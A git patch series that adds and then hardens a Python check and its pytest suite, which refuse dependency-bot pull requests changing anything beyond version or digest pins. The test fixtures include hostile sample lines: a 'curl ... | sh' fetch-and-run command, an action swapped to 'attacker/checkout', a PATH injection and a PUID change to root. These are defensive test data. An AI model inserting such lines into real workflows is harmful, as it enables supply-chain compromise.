b/scripts/assert-pin-only-diff.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python3 +# SPDX-License-Identifier: Apache-2.0 +# Copyright 2022 Ivan Pinatti +"""Refuse a unified diff that changes anything but a dependency pin. + +Read a diff on stdin (`gh pr diff | scripts/assert-pin-only-diff.py`) and +exit non-zero unless every changed file is one of the pin files below and every +changed line differs from its counterpart in nothing but a version or digest. + +This is the check that stands between "renovate[bot] opened a pull request" and +an unattended merge. Without it, approving a bot's pull request on the strength +of its author means the bot identity holds write access to main: a compromised +Renovate, or a Renovate whose configuration has been edited to widen what it +manages, could rewrite a workflow and be approved for it. Two of the four +allowed paths are executable surfaces on their own, since the pip pins live in +workflow `run:` steps and the scanner image tags live inside pre-commit hook +`entry:` commands, so a path allowlist alone would not be much of a fence. The +line comparison is what makes it one. + +The comparison normalizes both sides and requires them to match line for line +per file, duplicates counted. A line whose structure changed has no counterpart +and the diff is refused, which covers `uses: actions/checkout@v7` becoming +`uses: evil/checkout@v7` as much as it covers an added `curl | sh`. Anything +this refuses is not broken, it just waits for a person: the approval is skipped +and the pull request sits there, which is the direction to fail in. + +What it deliberately does not catch: a bump to a version that exists but is +malicious. `checkov==3.3.2` becoming `checkov==3.3.11` is the change this file +exists to permit, and no amount of diff reading can tell a good release from a +backdoored one. That is what the cooling window in .github/renovate.json5, the +integration suite, and the scanners are for. See docs/HARDENING.md. +""" + +import re +import sys +from collections import Counter + +# The files a dependency bot is allowed to touch. Renovate needs the workflow +# directory for the pip pins it maintains there, and .pre-commit-config.yaml for +# hook revs, additional_dependencies and the scanner image tags. Dependabot +# needs the same two plus the test requirements. +ALLOWED_PATHS = ( + ".env.example", + ".pre-commit-config.yaml", + ".github/workflows/", + "tests/requirements.txt", +) + +# Removed outright rather than replaced with a placeholder: Renovate's +# pinDigests adds a digest to a line that had none, so a placeholder would make +# the before and after differ by its presence and refuse a legitimate first pin. +DIGEST = re.compile(r"@(?:sha256:[0-9a-f]{7,}|[0-9a-f]{40})") + +# A version-shaped token: 1.2.3, v8.30.1, 4.0.19-ls123, 2026.1.1. Leading \b +# keeps it from matching the tail of an identifier such as CKV_DOCKER_2, where +# the underscore is a word character and there is no boundary before the digit. +VERSION = re.compile(r"\bv?\d+(?:\.\d+)*(?:[-.+][0-9A-Za-z.+_-]+)?\b") + +FILE_HEADER = re.compile(r"^diff --git a/(?P.+) b/(?P.+)$") + + +def normalize(line: str) -> str: + """Reduce a line to everything about it that a version bump may not change.""" + return VERSION.sub("", DIGEST.sub("", line)) + + +def parse(diff: str) -> tuple[dict[str, tuple[Counter, Counter]], list[str]]: + """Group removed and added lines by file, and collect structural changes.""" + changes: dict[str, tuple[Counter, Counter]] = {} + structural: list[str] = [] + path = None + + for line in diff.splitlines(): + header = FILE_HEADER.match(line) + if header: + old, new = header.group("old"), header.group("new") + path = new + changes.setdefault(path, (Counter(), Counter())) + if old != new: + structural.append(f"{old} renamed to {new}") + continue + + # A mode change, a new file or a deletion is not a version bump. Checked + # before the +/- branch below, because "new file mode 100755" is neither. + if line.startswith(("new file ", "deleted file ", "old mode ", "new mode ")): + structural.append(f"{path}: {line.strip()}") + continue + + if path is None or line.startswith(("+++", "---", "@@", "diff ", "index ")): + continue + + if line.startswith("-"): + changes[path][0][normalize(line[1:])] += 1 + elif line.startswith("+"): + changes[path][1][normalize(line[1:])] += 1 + + return changes, structural + + +def main() -> int: + diff = sys.stdin.read() + if not diff.strip(): + print("REFUSED: the diff is empty, so there is nothing to approve.") + return 1 + + changes, problems = parse(diff) + + for path in changes: + if not path.startswith(ALLOWED_PATHS): + problems.append(f"{path}: not a dependency pin file") + + for path, (removed, added) in changes.items(): + # Counter subtraction drops non-positive counts, so each direction has + # to be asked separately to see both halves of a mismatch. + for line in removed - added: + problems.append(f"{path}: removed a line that was not re-added: -{line}") + for line in added - removed: + problems.append(f"{path}: added a line that was not a version bump: +{line}") + + if problems: + print("REFUSED: this diff changes more than dependency pins.") + for problem in problems: + print(f" {problem}") + print( + "\nNothing is broken. The automated approval is skipped and the pull " + "request waits for a person, which is what should happen when a " + "dependency bot reaches outside its lane." + ) + return 1 + + files = ", ".join(sorted(changes)) or "nothing" + print(f"Pin-only diff confirmed: {files}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tests/test_assert_pin_only_diff.py b/tests/test_assert_pin_only_diff.py new file mode 100644 index 00000000..68c3317c --- /dev/null +++ b/tests/test_assert_pin_only_diff.py @@ -0,0 +1,162 @@ +"""Tests for scripts/assert-pin-only-diff.py. + +This is the check that stands between a dependency bot's pull request and an +unattended merge, so what it refuses matters as much as what it accepts. The +refusal cases below are the ones that would otherwise turn "approve because the +author is renovate[bot]" into write access to main. + +No containers and no stack state, so these run anywhere: + pytest -m scripts tests/test_assert_pin_only_diff.py +""" + +import subprocess + +import pytest + +from conftest import REPO_ROOT + +pytestmark = pytest.mark.scripts + +SCRIPT = REPO_ROOT / "scripts" / "assert-pin-only-diff.py" + +DIGEST = "sha256:" + "a" * 64 + + +def _check(diff: str) -> subprocess.CompletedProcess: + return subprocess.run( + ["python3", str(SCRIPT)], + input=diff, + capture_output=True, + text=True, + timeout=60, + ) + + +def _diff(path: str, body: str, *, header: str = "") -> str: + return ( + f"diff --git a/{path} b/{path}\n" + f"{header}" + f"--- a/{path}\n" + f"+++ b/{path}\n" + "@@ -1,3 +1,3 @@\n" + f"{body}" + ) + + +# --------------------------------------------------------------------------- +# Accepted: a version or digest moved, and nothing else did +# --------------------------------------------------------------------------- + + +def test_accepts_an_image_version_and_digest_bump(): + result = _check( + _diff( + ".env.example", + f"-PROMETHEUS_VERSION=v3.7.3@{DIGEST}\n" + f"+PROMETHEUS_VERSION=v3.7.4@{DIGEST}\n", + ) + ) + assert result.returncode == 0, result.stdout + + +def test_accepts_a_pip_pin_bump_inside_a_workflow_run_step(): + result = _check( + _diff( + ".github/workflows/pull-request-validation.yml", + "- pip install checkov==3.3.2\n" + "+ pip install checkov==3.3.11\n", + ) + ) + assert result.returncode == 0, result.stdout + + +def test_accepts_a_first_time_digest_pin(): + # pinDigests adds a digest to a line that had none, so the two sides differ + # by its presence. Refusing that would block every pin Renovate creates. + result = _check( + _diff( + ".env.example", + f"-PROMETHEUS_VERSION=v3.7.3\n+PROMETHEUS_VERSION=v3.7.3@{DIGEST}\n", + ) + ) + assert result.returncode == 0, result.stdout + + +def test_accepts_a_hook_rev_bump(): + result = _check( + _diff( + ".pre-commit-config.yaml", + "- rev: v0.16.1\n+ rev: v0.16.2\n", + ) + ) + assert result.returncode == 0, result.stdout + + +# --------------------------------------------------------------------------- +# Refused: anything else, including alongside a legitimate bump +# --------------------------------------------------------------------------- + + +def test_refuses_a_line_smuggled_in_beside_a_real_bump(): + result = _check( + _diff( + ".github/workflows/pull-request-validation.yml", + "- pip install checkov==3.3.2\n" + "+ pip install checkov==3.3.11\n" + "+ curl -s https://example.invalid/x.sh | sh\n", + ) + ) + assert result.returncode == 1 + assert "was not a version bump" in result.stdout + + +def test_refuses_a_swapped_name_at_the_same_version(): + result = _check( + _diff( + ".github/workflows/pull-request-validation.yml", + "- uses: actions/checkout@v7\n+ uses: attacker/checkout@v7\n", + ) + ) + assert result.returncode == 1 + + +def test_refuses_a_file_outside_the_pin_paths(): + result = _check( + _diff( + "docker-compose-torrent.yml", + "- image: lscr.io/linuxserver/sonarr:4.0.19\n" + "+ image: lscr.io/linuxserver/sonarr:4.0.20\n", + ) + ) + assert result.returncode == 1 + assert "not a dependency pin file" in result.stdout + + +def test_refuses_a_new_file_even_in_an_allowed_path(): + result = _check( + _diff( + ".github/workflows/extra.yml", + "+name: extra\n", + header="new file mode 100644\n", + ) + ) + assert result.returncode == 1 + assert "new file mode" in result.stdout + + +def test_refuses_a_rename(): + result = _check( + "diff --git a/tests/requirements.txt b/tests/requirements-old.txt\n" + "--- a/tests/requirements.txt\n" + "+++ b/tests/requirements-old.txt\n" + ) + assert result.returncode == 1 + assert "renamed to" in result.stdout + + +def test_refuses_an_empty_diff(): + # A pull request whose diff cannot be read must not read as "nothing wrong + # with it", which is what an empty allowlist check would have concluded. + result = _check("") + assert result.returncode == 1 + assert "empty" in result.stdout From 3ad13fd2349f4f772e80b5ec37bdecb61a1b1cfa Mon Sep 17 00:00:00 2001 From: Ivan Pinatti Date: Mon, 17 Aug 2026 16:04:24 -0400 Subject: [PATCH 2/2] Make the pin assertion fail closed, per review Four holes, all of them the same shape: something unreadable or unexpected passing for something clean. - the diff was piped into the checker under `bash -e`, where a pipeline's status is the last command's. A `gh pr diff` that failed partway would hand over a truncated diff, and a truncation that dropped the offending lines would exit 0 and approve. pipefail. - any number-shaped token was treated as a version, so `PUID=1000` becoming `PUID=0`, which runs every container as root, normalized identically on both sides. Only a number in a pin position counts now: after `==`, after `@`, after `rev:`, after a colon pressed against a non-space, or after `=` on a `*VERSION` key. The prefix is kept in the normalized form too, so a pin changing shape rather than value still reads as a difference. - `+++foo` inside a hunk is an added line reading `++foo`, and the parser skipped it as a file header, dropping it from the comparison entirely. The ---/+++ pair is only recognized before the first @@ of a file now. - output that parsed into no files, or a file with no readable changed lines, reported success. Both refuse. Seven tests added for the cases above. The four open bot pull requests, #53 through #56, still pass the tightened rule, which is what says the narrowing did not cost anything real. --- .github/workflows/bot-auto-merge.yml | 11 ++++- docs/CONTRIBUTING.md | 8 ++-- docs/HARDENING.md | 5 +- scripts/assert-pin-only-diff.py | 68 +++++++++++++++++++++++---- tests/test_assert_pin_only_diff.py | 70 ++++++++++++++++++++++++++++ 5 files changed, 147 insertions(+), 15 deletions(-) diff --git a/.github/workflows/bot-auto-merge.yml b/.github/workflows/bot-auto-merge.yml index a78510ff..8b42f3d5 100644 --- a/.github/workflows/bot-auto-merge.yml +++ b/.github/workflows/bot-auto-merge.yml @@ -86,7 +86,16 @@ jobs: env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} PR_NUMBER: ${{ github.event.pull_request.number }} - run: gh pr diff "$PR_NUMBER" | python3 scripts/assert-pin-only-diff.py + # pipefail, and it is load-bearing rather than habit. The default shell + # is `bash -e {0}`, where a pipeline's status is the last command's, so + # a `gh pr diff` that fails partway would hand the checker a truncated + # diff, and a truncation that happens to drop the offending lines would + # exit 0 and approve. This step is the gate for an unattended merge, so + # it fails closed or it is not a gate. + shell: bash + run: | + set -euo pipefail + gh pr diff "$PR_NUMBER" | python3 scripts/assert-pin-only-diff.py - name: Fetch Dependabot metadata id: metadata diff --git a/docs/CONTRIBUTING.md b/docs/CONTRIBUTING.md index f2f23ce5..bde57ab9 100644 --- a/docs/CONTRIBUTING.md +++ b/docs/CONTRIBUTING.md @@ -119,9 +119,11 @@ maintainer will comment for you. only runs when a maintainer asks. 2. `bot-auto-merge.yml` supplies the approving review branch protection requires, but only after `scripts/assert-pin-only-diff.py` confirms the - diff changes nothing but a version or a digest, in one of four allowed - files. A bump that reaches anything else is refused and waits, which is - what should happen when a dependency bot steps outside its lane. + diff changes nothing but a version or a digest in a pin position, in one + of four allowed files. A number that is not a pin does not count, so a + `PUID` or a timeout moving is refused just as an added line would be. A + bump that reaches anything else waits, which is what should happen when a + dependency bot steps outside its lane. 3. CodeRabbit reviews it as the reader nobody else provides, with `request_changes_workflow` enabled in `.coderabbit.yaml`, so an objection or an unresolved thread blocks the merge until the maintainer looks. It has diff --git a/docs/HARDENING.md b/docs/HARDENING.md index cc514deb..6d26d649 100644 --- a/docs/HARDENING.md +++ b/docs/HARDENING.md @@ -288,7 +288,10 @@ What is placed against it instead: without a pull request saying so. - **A pin-only diff assertion** (`scripts/assert-pin-only-diff.py`, enforced by `bot-auto-merge.yml`). The approval is withheld unless every changed line - differs in nothing but a version or a digest, across four allowed files. This + differs in nothing but a version or a digest *in a pin position*, across four + allowed files. The qualifier is the point: a number that is not a pin is not + substitutable, so `PUID=1000` becoming `PUID=0`, which would run every + container as root, is refused like any other structural change. This is aimed at the bot identity rather than the upstream: without it, approving on the strength of the author means a compromised Renovate could rewrite a workflow and be approved for it, and two of those four paths execute what they diff --git a/scripts/assert-pin-only-diff.py b/scripts/assert-pin-only-diff.py index df856cd2..1b08fa9d 100755 --- a/scripts/assert-pin-only-diff.py +++ b/scripts/assert-pin-only-diff.py @@ -24,6 +24,14 @@ this refuses is not broken, it just waits for a person: the approval is skipped and the pull request sits there, which is the direction to fail in. +Only a number in a pin position is treated as substitutable, which is narrower +than "any number on the line" and deliberately so. `PUID=1000` becoming +`PUID=0`, or a `timeout-minutes:` moving, are numeric edits with real effects +that a looser rule would wave through, so they are refused like any other +structural change. The residue is a number that sits in a pin position and is +not a pin, which in these four files means an image tag's port-like suffix and +little else. + What it deliberately does not catch: a bump to a version that exists but is malicious. `checkov==3.3.2` becoming `checkov==3.3.11` is the change this file exists to permit, and no amount of diff reading can tell a good release from a @@ -51,17 +59,33 @@ # the before and after differ by its presence and refuse a legitimate first pin. DIGEST = re.compile(r"@(?:sha256:[0-9a-f]{7,}|[0-9a-f]{40})") -# A version-shaped token: 1.2.3, v8.30.1, 4.0.19-ls123, 2026.1.1. Leading \b -# keeps it from matching the tail of an identifier such as CKV_DOCKER_2, where -# the underscore is a word character and there is no boundary before the digit. -VERSION = re.compile(r"\bv?\d+(?:\.\d+)*(?:[-.+][0-9A-Za-z.+_-]+)?\b") +# A version-shaped token that sits where a pin sits, and nowhere else. The +# prefix is what makes this narrow: matching any number on the line would accept +# `PUID=1000` becoming `PUID=0`, or a `fetch-depth` moving, since both sides +# would normalize alike. +# +# The five prefixes are the five shapes a pin takes in the four allowed files: +# +# ==1.2.3 pip, in a workflow run step or additional_dependencies +# @v1.2.3 an action ref, and what is left after a digest is cut +# FOO_VERSION=1.2.3 .env.example, where a bare `=` is not enough: PUID and +# the port variables use one too +# rev: v1.2.3 a pre-commit hook revision +# image:1.2.3 a tag, the colon pressed against a non-space so that a +# YAML `key: 25` cannot pass for one +# The prefix is captured and put back, so that a pin changing shape rather than +# value, `foo==1.2.3` becoming `foo@1.2.3`, still reads as a difference. +VERSION = re.compile( + r"(?P==|@|(?<=VERSION)=|\brev:[ \t]+|(?<=\S):)" + r"\bv?\d+(?:\.\d+)*(?:[-.+][0-9A-Za-z.+_-]+)?\b" +) FILE_HEADER = re.compile(r"^diff --git a/(?P.+) b/(?P.+)$") def normalize(line: str) -> str: """Reduce a line to everything about it that a version bump may not change.""" - return VERSION.sub("", DIGEST.sub("", line)) + return VERSION.sub(r"\g", DIGEST.sub("", line)) def parse(diff: str) -> tuple[dict[str, tuple[Counter, Counter]], list[str]]: @@ -69,24 +93,36 @@ def parse(diff: str) -> tuple[dict[str, tuple[Counter, Counter]], list[str]]: changes: dict[str, tuple[Counter, Counter]] = {} structural: list[str] = [] path = None + in_hunk = False for line in diff.splitlines(): header = FILE_HEADER.match(line) if header: old, new = header.group("old"), header.group("new") path = new + in_hunk = False changes.setdefault(path, (Counter(), Counter())) if old != new: structural.append(f"{old} renamed to {new}") continue - # A mode change, a new file or a deletion is not a version bump. Checked - # before the +/- branch below, because "new file mode 100755" is neither. - if line.startswith(("new file ", "deleted file ", "old mode ", "new mode ")): - structural.append(f"{path}: {line.strip()}") + if line.startswith("@@"): + in_hunk = True + continue + + # Everything between a file header and its first hunk is preamble: the + # index line, the ---/+++ pair, and any mode line. Recognizing those + # only here is what stops a content line impersonating one. Inside a + # hunk, `+++foo` is an added line reading `++foo`, and skipping it as a + # file header would drop it from the comparison, which fails open. + if not in_hunk: + if line.startswith( + ("new file ", "deleted file ", "old mode ", "new mode ") + ): + structural.append(f"{path}: {line.strip()}") continue - if path is None or line.startswith(("+++", "---", "@@", "diff ", "index ")): + if path is None: continue if line.startswith("-"): @@ -105,10 +141,22 @@ def main() -> int: changes, problems = parse(diff) + # Output that parsed into nothing is not a clean bill of health. Truncated + # output, a binary diff, or anything that arrives without a `diff --git` + # header would otherwise leave the change set empty and read as "no problems + # found", approving a diff nobody managed to read. + if not changes: + print("REFUSED: no file headers in the diff, so nothing could be checked.") + return 1 + for path in changes: if not path.startswith(ALLOWED_PATHS): problems.append(f"{path}: not a dependency pin file") + for path, (removed, added) in changes.items(): + if not removed and not added: + problems.append(f"{path}: no readable changed lines, so nothing was checked") + for path, (removed, added) in changes.items(): # Counter subtraction drops non-positive counts, so each direction has # to be asked separately to see both halves of a mismatch. diff --git a/tests/test_assert_pin_only_diff.py b/tests/test_assert_pin_only_diff.py index 68c3317c..a2562e50 100644 --- a/tests/test_assert_pin_only_diff.py +++ b/tests/test_assert_pin_only_diff.py @@ -160,3 +160,73 @@ def test_refuses_an_empty_diff(): result = _check("") assert result.returncode == 1 assert "empty" in result.stdout + + +# --------------------------------------------------------------------------- +# Fails closed: the ways an unreadable diff could have passed for a clean one +# --------------------------------------------------------------------------- + + +def test_refuses_output_with_no_file_header(): + # Truncated or binary output parses into no files at all. Reporting that as + # "nothing to object to" would approve a diff nobody managed to read. + result = _check("Binary files a/x.png and b/x.png differ\n") + assert result.returncode == 1 + assert "no file headers" in result.stdout + + +def test_refuses_a_file_whose_lines_could_not_be_read(): + result = _check( + "diff --git a/.env.example b/.env.example\nindex 1111111..2222222 100644\n" + ) + assert result.returncode == 1 + assert "no readable changed lines" in result.stdout + + +def test_counts_an_added_line_that_looks_like_a_file_header(): + # `+++x` inside a hunk is an added line reading `++x`. Skipping it as a + # ---/+++ header would drop it from the comparison, so the smuggled line + # would never be seen. + result = _check( + _diff( + ".env.example", + "-PROMETHEUS_VERSION=v3.7.3\n" + "+PROMETHEUS_VERSION=v3.7.4\n" + "+++PATH=/tmp/evil\n", + ) + ) + assert result.returncode == 1 + assert "was not a version bump" in result.stdout + + +# --------------------------------------------------------------------------- +# Only a number in a pin position counts as a version +# --------------------------------------------------------------------------- + + +def test_refuses_a_numeric_change_that_is_not_a_pin(): + # PUID=0 would run every container as root, and it is a digit change on a + # line in an allowed file, so a rule that normalized any number would have + # accepted it. + result = _check(_diff(".env.example", "-PUID=1000\n+PUID=0\n")) + assert result.returncode == 1 + + +def test_refuses_a_changed_yaml_number(): + result = _check( + _diff( + ".github/workflows/pull-request-validation.yml", + "- timeout-minutes: 25\n+ timeout-minutes: 600\n", + ) + ) + assert result.returncode == 1 + + +def test_refuses_a_pin_that_changes_shape_rather_than_value(): + result = _check( + _diff( + "tests/requirements.txt", + "-pytest==8.4.1\n+pytest>=8.4.1\n", + ) + ) + assert result.returncode == 1